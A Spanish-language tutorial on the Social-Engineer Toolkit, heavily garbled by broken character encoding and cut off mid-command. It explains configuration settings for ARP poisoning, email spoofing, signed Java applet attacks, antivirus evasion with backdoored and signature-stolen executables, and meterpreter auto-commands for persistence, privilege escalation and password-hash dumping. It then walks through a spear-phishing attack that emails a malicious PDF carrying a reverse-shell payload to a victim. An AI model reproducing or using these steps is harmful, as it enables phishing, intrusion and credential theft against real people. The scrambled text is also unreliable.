< src*ja5aIapplet*ba5a.ja5a
< src*ja5aIapplet*jarIfle.py
< src*webIclone*cloner.py
< src*msfIattac#s*createIpayload.py
< src*"ar5ester*scraper.py
< src*"tml*clentsde*4enIpayload.py
< src*"tml*webIser5er.py
< src*arpIcac"e*arpIcac"e.py
< set
< readme*C>DL;3=
<pdated to re5son &,).
rootGbtM*pentest*e!plots*=32H
5na vez que haya actualizado a la Dltima versin, se puede empezar a a%ustar su ataque editando el
fichero de confiuracin SET. :amos a ver cada uno de los flas=
rootGbtM*pentest*e!plots*setH nano conf4*setIconf4
H 736BL3 2>3 PD2> 29 M32D=PC9B2 >3?3R 69? 3KDMPC3 *pentest*e!plots*framewor#&
M32D=PC9B2IPD2>=*pentest*e!plots*framewor#&
&irando a trav!s de las opciones de confiuracin, puede cambiar los campos especficos para obtener
el resultado deseado. En la primera opcin, puede cambiar la ruta donde se encuentra &etasploit.
&etasploit se utiliza para la la creacin de payloads, el formato de archivo, bus, y para el naveador
de explotar las secciones de SET.
H =P3CB6J E>D2 BL23?6DC3 J9< EDL2 3223?CDP 29 CB=23L 9LR B6 L92>BL; EBCC 736D<C2
H 3KDMPC3M 3223?CDPIBL23?6DC3=wlan'
3223?CDPIBL23?6DC3=et"'
H
H 3223?CDP >9M3 7B?3C29?J (L33737 69? 7L=I=P996)
3223?CDPIPD2>=*usr*s"are*ettercap
7a seccin de Ettercap puede ser utilizado cuando se est en la misma subred que las vctimas y desea
llevar a cabo ataques de )9S veneno en contra de un subcon%unto de las direcciones 4/. $uando este
indicador est en ,9, se va a envenenar toda la subred local y rediriir a un sitio especfico o todos los
sitios a su servidor malicioso.
H =3L7MDBC 9L 9? 966 69? =P996BL; 3MDBC D77?3==3=
=3L7MDBC=966
Establecer el indicador de Sendmail para ,9 intente iniciar sendmail, que puede suplantar las
direcciones de orien de correo electrnico. Este ataque slo funciona si el servidor S&T/ de la
vctima no realiza bDsquedas inversas en el nombre de host. Sendmail debe ser instalado, pero si usted
est utilizando ;ac3Trac3 I, que se instala por defecto.
H =32 29 9L B6 J9< EDL2 29 <=3 3MDBC BL C9Lb<LC2B9L EB2> E3$ D22DCX
E3$D22DCXI3MDBC=966
'l establecer el (E;'TT'$*@E&'47 en ,9, que le permitir enviar correos electrnicos en masa a
la vctima mientras se utiliza el vector de ataque (eb. Tradicionalmente, el aspecto de correo
electrnico slo est disponible a trav!s del menD de lanza phishin sin embaro, cuando esto es
posible que se a0ada una funcionalidad adicional para que usted pueda enviar por correo electrnico
con enlaces a las vctimas para ayudar a me%orar sus ataques.
H C?3D23 =3C61=B;L37 bD8D DPPC32= DL7 =P996 P<$CB=>3? L923 2>B= ?3S<B?3= J9< 29
H BL=2DCC 111> bD8D ( b7XR $2 9? <$<L2< <=3?=M apt14et nstall openjd#1(1jd#
H B6 2>B= B= L92 BL=2DCC37 B2 EBCC L92 E9?X. CDL DC=9 79 apt14et nstall sun1
ja5a(1jd#
=3C6I=B;L37IDPPC32=966
El ataque 'pplet +ava es uno de los ataques que SET tiene en su arsenal, que probablemente tiene la
mayor tasa de !xito. /ara que el ataque parezca ms creble, puede activar esta opcin en la que le
permitir firmar el applet de +ava con cualquier nombre que desee. 's que decir que usted est
apuntando $ompanyN, el estndar de +ava 'pplet est firmado por &icrosoft, pero se puede firmar el
applet con $ompanyN para que se vea ms creble. Esto requiere la instalacin de +)* de +ava Ken su
5buntu apt?et install sun?%avaP?%d3 o open%d3?P?%d3M.
H 2>B= 6CD; EBCC =32 2>3 bD8D B7 6CD; EB2>BL 2>3 bD8D DPPC32 29 =9M32>BL; 7B663c
H 2>B= C9<C7 $3 29 MDX3 B2 C99X M9?3 $3CB38D$C3 9? 69? $3223? 9$6<=CD2B9L
bD8DIB7IPD?DM==ecure ba5a Dpplet
H
H bD8D DPPC32 ?3P3D23? 9P2B9L EBCC C9L2BL<3 29 P?9MP2 2>3 <=3? EB2> 2>3 bD8D DPc
H 2>3 <=3? >B2= CDLC3C. 2>B= M3DL= B2 EBCC $3 L9L =29P <L2BC ?<L B= 3K3C<237. 2c
H D $3223? =<CC3== ?D23 69? 2>3 bD8D DPPC32 D22DCX
bD8DI?3P3D23?=9L
$uando un usuario recibe la advertencia de applet de +ava, se ver el -'pplet +ava seuro Ccomo el
nombre del applet en luar de la direccin 4/. Esto a0ade una credibilidad ms que el applet de +ava. 7a
seunda opcin le pedir al usuario una y otra vez con un applet de +ava persistentes advertencias si
olpean cancelar. Esto es Dtil cuando el usuario hace clic en cancelar y el ataque sera inDtil, sino que
continuar a aparecer una y otra vez.
H D<297323C2B9L 96 BP D77?3== BL23?6DC3 <2BCBYBL; ;99;C3R =32 2>B= 9L B6 J9< EDL2
H =32 29 D<297323C2 J9<? BL23?6DC3
D<29I7323C2=9L
El fla '5T,@)ETE$T es probablemente una de las preuntas ms frecuentes en la SET. En la
mayora de los casos, SET se aarra la interfaz que utilice para conectarse a 4nternet y usar eso como la
conexin inversa y la direccin 4/ de las conexiones de nuevo. 7a mayora de nosotros necesita para
personalizar el ataque y no puede estar en la red interna. Si se activa esta opcin ,##, SET se le pedir
con preuntas adicionales cuando se prepara el ataque. Esta bandera debe ser utilizada cuando se desea
utilizar mDltiples interfaces, tiene una 4/ externa, o ests en un escenario de reenvo 9'T > /ort.
H =P3CB6J E>D2 P9?2 29 ?<L 2>3 >22P =3?83? 966 96 2>D2 =3?83= 2>3 bD8D DPPC32
D22DCX
H 9? M32D=PC9B2 3KPC9B2. 736D<C2 B= P9?2 0'.
E3$IP9?2=0'
/or defecto, el servidor 2eb confiurado escucha en el puerto XG, pero si por aluna razn usted
necesita para cambiar esta situacin, puede especificar un puerto alternativo.
H C<=29M 3K3 J9< EDL2 29 <=3 69? M32D=PC9B2 3LC97BL;R 2>B= <=<DCCJ >D= $3223? D8
H 7323C2B9L. C<??3L2CJ B2 B= =32 29 C3;B2.$BLD?J E>BC> B= b<=2 CDCC.3K3. DL
3KDMPC3
H J9< C9<C7 <=3 E9<C7 $3 P<22J.3K3 =9 2>B= 6B3C7 E9<C7 $3 *pat"toe!e*putty.e!e
C<=29MI3K3=src*e!e*le4t.bnary
'l utilizar las opciones de codificacin de el payload SET, la me%or opcin para evitar 'nti?:irus es la
opcin e%ecutable puerta trasera. En concreto, un exe puerta trasera con una capacidad de cara basado
en &etasploit y, en eneral se puede evadir la mayora de ': que hay ah fuera. SET cuenta con un
archivo e%ecutable construido en !l para el bac3doorin del exe sin embaro, si por aluna razn usted
desea utilizar un e%ecutable diferente, puede especificar la ruta al exe que con el fla $5ST,&@ENE.
H <=3 DPDC>3 BL=23D7 96 =2DL7D?7 PJ2>9L E3$ =3?83?=R 2>B= EBCC BLC?3D=3 =P337 96
H 2>3 D22DCX 83C29?
DPDC>3I=3?83?=966
H
H PD2> 29 2>3 DPDC>3 E3$?992
DPDC>3I7B?3C29?J=*5ar*www
El ataque servidor 2eb utilizado dentro de un con%unto es un servidor 2eb personalizado SET en el
cdio que a veces puede ser alo lento con sede fuera de las necesidades. Si usted encuentra que
necesita un impulso y desea utilizar 'pache, puede voltear este interruptor en ,9 y tendr 'pache
mane%ar las solicitudes de 4nternet y la velocidad de su ataque hacia arriba. Tena en cuenta que este
ataque slo funciona con el applet de +ava y los ataques basados en &etasploit. En base a la
interceptacin de las credenciales, 'pache no se puede utilizar con la 2eb %ac3in, tabnabbin, o
credencial m!todos de ataque de harvester.
H 2<?L 9L ==C C3?2B6BCD23= 69? =32 =3C<?3 C9MM<LBCD2B9L= 2>?9<;> E3$ID22DCX 83C29?
E3$D22DCXI==C=966
H
H PD2> 29 2>3 P3M 6BC3 29 <2BCBY3 C3?2B6BCD23= EB2> 2>3 E3$ D22DCX 83C29?
(?3S<B?37)
H J9< CDL C?3D23 J9<? 9EL <2BCBYBL; =32R b<=2 2<?L 9L =3C6I=B;L37IC3?2
H B6 J9<? <=BL; 2>B= 6CD;R 3L=<?3 9P3L==C B= BL=2DCC37!
H
=3C6I=B;L37IC3?2=966
H
H $3C9E B= 2>3 CCB3L2*=3?83? (P?B8D23) C3?2R 2>B= M<=2 $3 BL P3M 69?MD2 BL 9?73?
29 E9?X
H =BMPCJ PCDC3 2>3 PD2> J9< EDL2 69? 3KDMPC3 *root*sslIclent*ser5er.pem
P3MICCB3L2=*root*newcert.pem
P3MI=3?83?=*root*newre@.pem
En alunos casos, cuando usted est realizando una avanzada ineniera social de ataque, es posible
que desee reistrar un dominio y comprar un certificado SS7 que hace que el ataque sea ms creble.
5sted puede incorporar los ataques basados en SS7 con SET. 5sted tendr que convertir el
(E;'TT'$*@SS7 en ,9. Si desea utilizar certificados con firma de uno, pero puede ser consciente
de que habr una advertencia de confianza cuando la vctima va a su sitio 2eb.
2E3DX 2>3 E3$ bDCXBL; 2BM3 <=37 69? 2>3 B6?DM3 ?3PCDC3R =9M32BM3= B2 CDL $3 D
CB22C3 =C9E
H DL7 >D?73? 29 C9L8BLC3 2>3 8BC2BM. /''' = / seconds
E3$bDCXBL;I2BM3=-'''
El ataque 2eb%ac3in se utiliza mediante la sustitucin de las vctimas del naveador con una ventana y
hacer que se vea y parezca que es el sitio letimo. Este ataque es muy dependiente de tiempo por lo
que si usted lo est haciendo a trav!s de 4nternet, se recomienda un retraso de cinco mil KL seundosM y
si usted est funcionando internamente, JGGG KJ seundosM es, probablemente, una apuesta seura.
H P9?2 69? 2>3 C9MMDL7 C3L23?
C9MMDL7IC3L23?IP9?2=.....
H
H C9MMDL7 C3L23? BL23?6DC3 29 $BL7 29 $J 736D<C2 B2 B= C9CDC>9=2 9LCJ. B6 J9< EDL2
29 3LD$C3 B2
H =9 J9< CDL >B2 2>3 C9MMDL7 C3L23? ?3M923CJ P<2 2>3 BL23?6DC3 29 '.'.'.' 29 $BL7
29 DCC BL23?6DC3=.
C9MMDL7IC3L23?IBL23?6DC3=,-%.'.'.,
H
H >9E MDLJ 2BM3= =32 =>9<C7 3LC973 D PDJC9D7 B6 J9< D?3 <=BL; =2DL7D?7 M32D=PC9c
3LC9<L2=.
El centro de mando es la 2eb de interfaz rfica de usuario para el *it de herramientas de social?
4neniero. Si desea utilizar esto en un puerto diferente, cambiar este nDmero. 7a siuiente opcin se
especifica de qu! interfaz debe escuchar en la interfaz 2eb de SET. Si se establece a OJF.G.G.O, que
inifica que nadie desde fuera de la red puede alcanzar la interfaz 2eb. Si lo coloca en G.G.G.G, se unir
a todas las interfaces y se puede llear de forma remota. Tena cuidado con esta opcin. El fla
encount determina cuntas veces un payload ser codificado con capacidades de cara &etasploit
cuando en SET. /or defecto es I, pero si necesita ms o menos, puede a%ustar esta consecuencia.
H B6 2>B= 9P2B9L B= =32R 2>3 M32D=PC9B2 PDJC9D7= EBCC D<29MD2BCDCCJ MB;?D23 29
H L923PD7 9LC3 2>3 DPPC32 B= 3K3C<237. 2>B= B= $3L36BCBDC B6 2>3 8BC2BM CC9=3=
H 2>3 $?9E=3? >9E383? CDL BL2?97<C3 $<;;J ?3=<C2= E>3L D<29 MB;?D2BL;.
D<29IMB;?D23=966
7a funcin de '5T,@&4.6'TE mirar automticamente a notepad.exe cuando una shell meterpreter
se enera. Esto es especialmente Dtil cuando se utilizan vulnerabilidades del naveador, ya que
finalizar la sesin si se cierra el naveador cuando se utiliza un exploit.
H 7B;B2DC =B;LD2<?3 =23DCBL; M32>97 M<=2 >D83 2>3 P36BC3 PJ2>9L M97<C3= C9D737
H 6?9M "ttpM**code.4oo4le.com*p*pefle*. $3 =<?3 29 BL=2DCC 2>B= $369?3 2<?LBL;
H 2>B= 6CD; 9L!!! 2>B= 6CD; ;B83= M<C> $3223? D8 7323C2B9L
7B;B2DCI=B;LD2<?3I=23DC=9L
7a firma diital el m!todo de robo requiere que el mdulo de /ython llamado /E#47E que utiliza una
t!cnica utilizada en )isitool por )idier Stevens tomando el certificado diital firmado por &icrosoft y
la importacin en un archivo e%ecutable malicioso. &uchas veces esto le dar una me%or deteccin de
anti?virus.
H 2>3=3 2E9 9P2B9L= EBCC 2<?L 2>3 <PK PDCX3? 29 9L DL7 D<29MD2BCDCCJ D223MP2
H 29 PDCX 2>3 3K3C<2D$C3 E>BC> MDJ 38D73 DL2B18B?<= D CB22C3 $3223?.
<PKI3LC973=9L
<PKIPD2>=*pentest*database*s@lmap*lb*contrb*up!*lnu!*up!
'dems de la firma diital el m!todo de robo, puede hacerlo de embala%e adicionales mediante 5/N.
Esto se instala por defecto en :olver H Seuimiento linux, si esto se pone en ,9 y no lo encuentra,
todava continDan, pero desactivar el embala%e 5/N.
H >3?3 E3 CDL ?<L M<C2BPC3 M323?P?323? =C?BP2= 9LC3 D =3==B9L B= DC2B83. 2>B=
H MDJ $3 BMP9?2DL2 B6 E3 D?3 =C33PBL; DL7 L337 29 ?<L P3?=B=23LC3R 2?J 29 3C38D23
H P3?MB==B9L= DL7 92>3? 2D=X= BL DL D<29MD237 6D=>B9L. 6B?=2 2<?L 2>B= 2?B;;3? 9L
H 2>3L C9L6B;<?3 2>3 6CD;=. L923 2>D2 J9< L337 29 =3P3?D23 2>3 C9MMDL7= $J D N
M323?P?323?IM<C2BI=C?BP2=966
H
H E>D2 C9MMDL7= 79 J9< EDL2 29 ?<L 9LC3 D M323?P?323? =3==B9L >D= $33L
3=2D$CB=>37.
H $3 =<?3 B6 J9< EDL2 M<C2BPC3 C9MMDL7= 29 =3P3?D23 EB2> D N. 69? 3KDMPC3 J9<
C9<C7 79
H run 4etsystemNrun "as"dumpNrun persstence 29 ?<L 2>?33 7B663?3L2 C9MMDL7=
M323?P?323?IM<C2BIC9MMDL7==run persstence 1r ,)-.,(0.,./ 1p -, 1 &'' 1K
1DN4etsystem
7as siuientes opciones puede confiurar una vez a la sesin de meterpreter se ha establecido, qu! tipos
de comandos que se e%ecute automticamente. Esto sera Dtil si el conseuir shells mDltiples y desea
e%ecutar comandos especficos para extraer informacin sobre el sistema.
H 2>B= 63D2<?3 EBCC D<29 3M$37 D BM; =?C 2D; 29 D <LC PD2> 96 J9<? D22DCX MDC>BL3.
H <=36<C B6 J9< EDL2 29 BL23?C3P2 2>3 >DC6 CM X3J= EB2> ?DBL$9E2D$C3=. E>D2 EBCC
>DPP3L
H B= D= =99L D= 2>3 8BC2BM CCBCX= 2>3 E3$1PD;3 CBLXR D <LC PD2> EBCC $3 BLB2BD237
H DL7 2>3 M32D=PC9B2 CDP2<?3*=M$ M97<C3 EBCC BL23?C3P2 2>3 >D=> 8DC<3=.
<LCI3M$37=966
H
Esto automticamente interar una ruta 59$ en la aplicacin 2eb, cuando la vctima se conecta a su
sitio, intentar conectarse al servidor a trav!s de un recurso compartido de archivos. $uando eso ocurre
una respuesta al desafo que sucede y el desafo > respuesta puede ser capturado y utilizado para atacar.
Menu <ased Drivin!
Men5 a ase de conduccin
SET es un sistema de menDs de un ataque basado, que es bastante Dnico en lo que respecta a las
herramientas de hac3er. 7a decisin de no hacer que la lnea de comandos se realiz debido a la forma
social de la ineniera tiene luar el ataque, sino que requiere de mDltiples escenarios, opciones y
personalizaciones. Si la herramienta ha sido la lnea de comandos basada en lo que realmente han
limitado la eficacia de los ataques y la incapacidad plenamente personalizar en funcin de su ob%etivo.
YEntremos en el menD y hacer un recorrido breve de cada vector de ataque.
rootGbtM*pentest*e!plots*setH .*set
P111Q 2"e =ocal13n4neer 2ool#t (=32) P111Q
P111Q Ertten by 7a5d Xennedy (?eC,X) P111Q
P111Q 8ersonM ,.- P111Q
P111Q CodenameM A="a#aw#awA P111Q
P111Q ?eport bu4s toM da5e#Gsocal1en4neer.or4 P111Q
P111Q ba5a Dpplet Ertten byM 2"omas Eert" P111Q
P111Q >omepa4eM "ttpM**www.secmanac.com P111Q
P111Q 6ramewor#M "ttpM**www.socal1en4neer.or4 P111Q
P111Q 95er ,.. mllon downloads and countn4. P111Q
Eelcome to t"e =ocal13n4neer 2ool#t (=32). Jour one
stop s"op for all of your socal1en4neern4 needs..
6ollow me on 2wtterM da5eIrel,#
7erbyCon -',, =ep&'19ct'- 1 D new era be4ns...
rc.freenode.net 1 H7erbyCon 1 "ttpM**www.derbycon.com
=elect from t"e menuM
,. =pear1P"s"n4 Dttac# 8ectors
-. Eebste Dttac# 8ectors
&. Bnfectous Meda ;enerator
.. Create a Payload and Cstener
/. Mass Maler Dttac#
(. 2eensy <=$ >B7 Dttac# 8ector
%. =M= =poofn4 Dttac# 8ector
0. 2"rd Party Modules
). <pdate t"e Metasplot 6ramewor#
,'. <pdate t"e =ocal13n4neer 2ool#t
,,. >elpR CredtsR and Dbout
,-. 3!t t"e =ocal13n4neer 2ool#t
3nter your c"oceM ,
Eelcome to t"e =32 31Mal attac# met"od. 2"s module allows you
to specally craft emal messa4es and send t"em to a lar4e (or small)
number of people wt" attac"ed fleformat malcous payloads. Bf you
want to spoof your emal addressR be sure :=endmal: s nstalled (t
s nstalled n $2) and c"an4e t"e conf4*setIconf4 =3L7MDBC=966 fla4
to =3L7MDBC=9L.
2"ere are two optonsR one s 4ettn4 your feet wet and lettn4 =32 do
e5eryt"n4 for you (opton ,)R t"e second s to create your own 6le6ormat
payload and use t n your own attac#. 3t"er wayR 4ood luc# and enjoy!
,. Perform a Mass 3mal Dttac#
-. Create a 6le6ormat Payload
&. Create a =ocal13n4neern4 2emplate
.. ?eturn to Man Menu
3nter your c"oceM
El menD de ataques de phishin lanza se utiliza para la realizacin de ataques diriidos contra una
vctima de correo electrnico. /uede enviar varios correos electrnicos sobre la base de lo que su
cosecha o se puede enviar a los individuos. Tambi!n puede utilizar formato de archivo Kpor e%emplo, un
error /)#M y enviar el ataque malicioso a la vctima con el fin de comprometer el sistema de espera.
=elect from t"e menuM
,. =pear1P"s"n4 Dttac# 8ectors
-. Eebste Dttac# 8ectors
&. Bnfectous Meda ;enerator
.. Create a Payload and Cstener
/. Mass Maler Dttac#
(. 2eensy <=$ >B7 Dttac# 8ector
% <pdate t"e Metasplot 6ramewor#
0. <pdate t"e =ocal13n4neer 2ool#t
). >elpR CredtsR and Dbout
,'. 3!t t"e =ocal13n4neer 2ool#t
3nter your c"oceM -
2"e =ocal13n4neer 2ool#t :Eeb Dttac#: 5ector s a un@ue way of
utl+n4 multple web1based attac#s n order to compromse t"e
ntended 5ctm.
3nter w"at type of attac# you would l#e to utl+e.
2"e ba5a Dpplet attac# wll spoof a ba5a Certfcate and
del5er a metasplot based payload. <ses a custom+ed
ja5a applet created by 2"omas Eert" to del5er
t"e payload.
2"e Metasplot browser e!plot met"od wll utl+e select
Metasplot browser e!plots t"rou4" an frame and del5er
a Metasplot payload.
2"e Credental >ar5ester Met"od wll utl+e web clonn4
of a webste t"at "as a username and password feld and
"ar5est all t"e nformaton posted to t"e webste.
2"e 2abLabbn4 Met"od wll wat for a user to mo5e to a
dfferent tabR t"en refres" t"e pa4e to somet"n4 dfferent.
2"e Man Ceft n t"e Mddle Dttac# Met"od was ntroduced by
Xos and utl+es >22P ?363?3?As n order to ntercept felds
and "ar5est data from t"em. Jou need to "a5e an already 5ulnerable
ste and ncorporate scrpt src=:"ttpM**J9<?BP*:. 2"s could et"er
be from a compromsed ste or t"rou4" K==.
2"e web jac#n4 attac# met"od was ntroduced by w"teIs"eepR 3m4ent
and t"e $ac#[2rac# team. 2"s met"od utl+es frame replacements to
ma#e t"e "4"l4"ted <?C ln# to appear le4tmate "owe5er w"en clc#ed
a wndow pops up t"en s replaced wt" t"e malcous ln#. Jou can edt
t"e ln# replacement settn4s n t"e setIconf4 f ts to slow*fast.
2"e mult1attac# wll add a combnaton of attac#s t"rou4" t"e web attac#
menu. 6or e!ample you can utl+e t"e ba5a DppletR Metasplot $rowserR
Credental >ar5ester*2abnabbn4R and t"e Man Ceft n t"e Mddle attac#
all at once to see w"c" s successful.
,. 2"e ba5a Dpplet Dttac# Met"od
-. 2"e Metasplot $rowser 3!plot Met"od
&. Credental >ar5ester Dttac# Met"od
.. 2abnabbn4 Dttac# Met"od
/. Man Ceft n t"e Mddle Dttac# Met"od
(. Eeb bac#n4 Dttac# Met"od
%. Mult1Dttac# Eeb Met"od
0. ?eturn to t"e pre5ous menu
3nter your c"oce (press enter for default)M
El vector de ataque 2eb se utiliza mediante la realizacin de ataques de phishin contra de la vctima
con la esperanza de que haa clic en el enlace. "ay una ran variedad de ataques que pueden ocurrir
una vez que haa clic. 9os sumeriremos en cada uno de los ataques en el futuro.
;\4 &nfecciosas !enerador de los medios de comunicacin;
7a infecciosas 5S; > ):) $reator desarrollar una capacidad de cara &etasploit para usted y para
dise0ar un archivo autorun.inf que una vez quemado o colocado en un dispositivo 5S;, se activar una
funcin de e%ecucin automtica y se espera comprometer el sistema. Este vector de ataque es
relativamente simple en la naturaleza y se basa en el desplieue de los dispositivos con el sistema
fsico.
;Z4 #rear un 2ayload y el oyente;
El payload crear y el oyente es un 2rapper alrededor de &etasploit extremadamente simple para crear
un payload, de exportacin del exe para usted y para enerar un oyente. 5sted tendra que transferir el
exe en el equipo de la vctima y lo e%ecuta con el fin de que funcione correctamente.
;D4 Mass Mailer ata'ue;
El ataque mass &ailer le permitir enviar correos electrnicos a mDltiples vctimas y personalizar los
mensa%es. Esta opcin no permite crear payloads, por lo que se utiliza eneralmente para realizar un
ata.ue de phishin! masivo.
=elect from t"e menuM
,. =pear1P"s"n4 Dttac# 8ectors
-. Eebste Dttac# 8ectors
&. Bnfectous Meda ;enerator
.. Create a Payload and Cstener
/. Mass Maler Dttac#
(. 2eensy <=$ >B7 Dttac# 8ector
%. =M= =poofn4 Dttac# 8ector
0. 2"rd Party Modules
). <pdate t"e Metasplot 6ramewor#
,'. <pdate t"e =ocal13n4neer 2ool#t
,,. >elpR CredtsR and Dbout
,-. 3!t t"e =ocal13n4neer 2ool#t
3nter your c"oceM (
Eelcome to t"e 2eensy >B7 Dttac# 8ector.
=pecal t"an#s toM Bron;ee# and En6an4
2"e 2eensy >B7 Dttac# 8ector utl+es t"e teensy <=$ de5ce to
pro4ram t"e de5ce to act as a #eyboard. 2eensyAs "a5e onboard
stora4e and can allow for remote code e!ecuton on t"e p"yscal
system. =nce t"e de5ces are re4stered as <=$ XeyboardAs t
wll bypass any autorun dsabled or endpont protecton on t"e
system.
Jou wll need to purc"ase t"e 2eensy <=$ de5ceR tAs rou4"ly
c-- dollars. 2"s attac# 5ector wll auto 4enerate t"e code
needed n order to deploy t"e payload on t"e system for you.
2"s attac# 5ector wll create t"e .pde fles necessary to mport
nto Drduno (t"e B73 used for pro4rammn4 t"e 2eensy). 2"e attac#
5ectors ran4e from Powers"ell based downloadersR wscrpt attac#sR
and ot"er met"ods.
6or more nformaton on specfcatons and 4ood tutorals 5stM
"ttpM**www.ron4ee#.com*.p"pWpa4e=securty*pro4rammable1"d1usb1#eystro#e1don4le
2o purc"ase a 2eensyR 5stM "ttpM**www.pjrc.com*store*teensy."tml
=elect a payload to create t"e pde fle to mport nto DrdunoM
,. Powers"ell >22P ;32 M=6 Payload
-. E=C?BP2 >22P ;32 M=6 Payload
&. Powers"ell based ?e5erse ="ell
.. ?eturn to t"e man menu.
3nter your c"oceM
El teensy 5S; "4) es un m!todo usado por la compra de un dispositivo basado en hard2are de
pr%c.com y la proramacin de una manera que hace que el peque0o microcontrolador 5S; apariencia
exactamente iual que un teclado. 7a parte importante tener en cuenta con esto es que no pasa por las
capacidades de e%ecucin automtica y se puede reducir payloads en el sistema a trav!s de la memoria
flash a bordo. 7a simulacin del teclado le permite escribir caracteres de una manera que puede utilizar
descaradores y explotar el sistema.
L Actuali-acin Metasploit framework
I4 Actuali-ar el kit de herramientas de social-&n!eniero S,T
74 Ayuda6 cr0ditos6 y Acerca de
N84 Salir del Yit de herramientas de social-in!eniero S,T
7os menDs anteriores se realizan actualizaciones en &etasploit frame2or3, el 3it de herramientas de
social?4neniero SET, proporcionar ayuda y cr!ditos, y por Dltimo la salida del 3it de herramientas de
social?ineniero SET KApor qu! querras hacer esoBM.
Spear-2hishin! Attack +ector
Spear 2hishin!-vector de ata'ue
$omo se mencion anteriormente, el spear phishin vector de ataque puede ser usado para enviar
mensa%es de correo electrnico diriido con archivos ad%untos maliciosos. En este e%emplo, vamos a
dise0ar un , se interan en .&'47 y enviar un /)# malicioso a la vctima. 5na cosa a notar es que
usted puede crear y uardar sus propias plantillas de usar para futuros ataques SE o puede utilizar los
pre?construidos. $uando se utiliza a slo tena en cuenta que cuando se oprime la tecla Enter para los
impaos, siempre ser el puerto IIE en la parte posterior conexin inversa y un payload meterpreter
inverso.
=elect from t"e menuM
,. =pear1P"s"n4 Dttac# 8ectors
-. Eebste Dttac# 8ectors
&. Bnfectous Meda ;enerator
.. Create a Payload and Cstener
/. Mass Maler Dttac#
(. 2eensy <=$ >B7 Dttac# 8ector
%. =M= =poofn4 Dttac# 8ector
0. 2"rd Party Modules
). <pdate t"e Metasplot 6ramewor#
,'. <pdate t"e =ocal13n4neer 2ool#t
,,. >elpR CredtsR and Dbout
,-. 3!t t"e =ocal13n4neer 2ool#t
3nter your c"oceM ,
Eelcome to t"e =32 31Mal attac# met"od. 2"s module allows you
to specally craft emal messa4es and send t"em to a lar4e (or small)
number of people wt" attac"ed fleformat malcous payloads. Bf you
want to spoof your emal addressR be sure :=endmal: s nstalled (t
s nstalled n $2) and c"an4e t"e conf4*setIconf4 =3L7MDBC=966 fla4
to =3L7MDBC=9L.
2"ere are two optonsR one s 4ettn4 your feet wet and lettn4 =32 do
e5eryt"n4 for you (opton ,)R t"e second s to create your own 6le6ormat
payload and use t n your own attac#. 3t"er wayR 4ood luc# and enjoy!
,. Perform a Mass 3mal Dttac#
-. Create a 6le6ormat Payload
&. Create a =ocal13n4neern4 2emplate
.. ?eturn to Man Menu
3nter your c"oceM ,
=elect t"e fle format e!plot you want.
2"e default s t"e P76 embedded 3K3.
ZZZZZZZZZZ PDJC9D7= ZZZZZZZZZZ
,. =32 Custom Ertten 7CC >jac#n4 Dttac# 8ector (?D?R YBP)
-. Ddobe 6las" Player A$uttonA ?emote Code 3!ecuton
&. Ddobe Cool2ype =BL; 2able Aun@ueLameA 95erflow
.. Ddobe 6las" Player AnewfunctonA Bn5ald Ponter <se
/. Ddobe Collab.collect3malBnfo $uffer 95erflow
(. Ddobe Collab.4etBcon $uffer 95erflow
%. Ddobe b$B;-7ecode Memory Corrupton 3!plot
0. Ddobe P76 3mbedded 3K3 =ocal 3n4neern4
). Ddobe utl.prntf() $uffer 95erflow
,'. Custom 3K3 to 8$D (sent 5a ?D?) (?D? re@ured)
,,. Ddobe <&7 CC97Pro4ress5eMes"7eclaraton Drray 95errun
,-. Ddobe P76 3mbedded 3K3 =ocal 3n4neern4 (L9b=)
3nter t"e number you want (press enter for default)M ,
,. Endows ?e5erse 2CP ="ell
-. Endows Meterpreter ?e5erseI2CP
&. Endows ?e5erse 8LC
.. Endows ?e5erse 2CP ="ell (!(.)
/. Endows Meterpreter ?e5erseI2CP (K(.)
(. Endows ="ell $ndI2CP (K(.)
3nter t"e payload you want (press enter for default)M
PZQ Endows Meterpreter ?e5erse 2CP selected.
3nter t"e port to connect bac# on (press enter for default)M
PZQ 7efaultn4 to port ..&...
PZQ ;eneratn4 fleformat e!plot...
PZQ Please wat w"le we load t"e module tree...
PZQ =tarted re5erse "andler on ,%-.,(.&-.,-)M..&
PZQ Creatn4 Atemplate.pdfA fle...
PZQ ;enerated output fle *pentest*e!plots*set*src*pro4ramIjun#*template.pdf
PZQ Payload creaton complete.
PZQ Dll payloads 4et sent to t"e src*msfIattac#s*template.pdf drectory
PZQ Payload 4eneraton complete. Press enter to contnue.
Ds an added bonusR use t"e fle1format creator n =32 to create your attac"ment.
?4"t now t"e attac"ment wll be mported wt" flename of Atemplate.w"ate5erA
7o you want to rename t"e fleW
e!ample 3nter t"e new flenameM moo.pdf
,. Xeep t"e flenameR B donAt care.
-. ?ename t"e fleR B want to be cool.
3nter your c"oce (enter for default)M ,
Xeepn4 t"e flename and mo5n4 on.
=ocal 3n4neer 2ool#t Mass 31Maler
2"ere are two optons on t"e mass e1malerR t"e frst would
be to send an emal to one nd5dual person. 2"e second opton
wll allow you to mport a lst and send t to as many people as
you want wt"n t"at lst.
E"at do you want to doM
,. 31Mal Dttac# =n4le 3mal Dddress
-. 31Mal Dttac# Mass Maler
&. ?eturn to man menu.
3nter your c"oceM ,
7o you want to use a predefned template or craft
a one tme emal template.
,. Pre17efned 2emplate
-. 9ne12me <se 3mal 2emplate
3nter your c"oceM ,
$elow s a lst of a5alable templatesM
,M $aby Pcs
-M =tran4e nternet usa4e from your computer
&M Lew <pdate
.M C9C..."a5e to c"ec# t"s out...
/M 7an $rownAs Dn4els T 7emons
(M Computer Bssue
%M =tatus ?eport
3nter t"e number you want to useM %
3nter w"o you want to send emal toM #ennedyd',&G4mal.com
E"at opton do you want to useW
,. <se a ;MDBC Dccount for your emal attac#.
-. <se your own ser5er or open relay
3nter your c"oceM ,
3nter your ;MDBC emal addressM #ennedyd',&G4mal.com
3nter your password for 4mal (t wll not be dsplayed bac# to you)M
=32 "as fns"ed del5ern4 t"e emals.
7o you want to setup a lstener yes or noM yes
P1Q ZZZ
P1Q Z ED?LBL;M Lo database supportM =trn4 <ser 7sabled 7atabase =upport
P1Q ZZZ
[ [ I) [
II ^II \ I \ II[ I^ [ II[ II \ [ I \ [ II[
[ [ [ II* [ ( [\II \ [ [ [ ( [ [ [
I[ I[ I[\III[\II[\IIRI[IIII* .II* I[\III* I[\II[
I[
=P metasplot 5&...-1de5 PcoreM&.. apM,.'Q
U 11 11=P /00 e!plots 1 &'' au!lary
U 11 11=P --. payloads 1 -% encoders 1 0 nops
=P s5n r,'-(0 updated today (-','.').'))
resource (src*pro4ramIjun#*metaIconf4)> use e!plot*mult*"andler
resource (src*pro4ramIjun#*metaIconf4)> set PDJC9D7
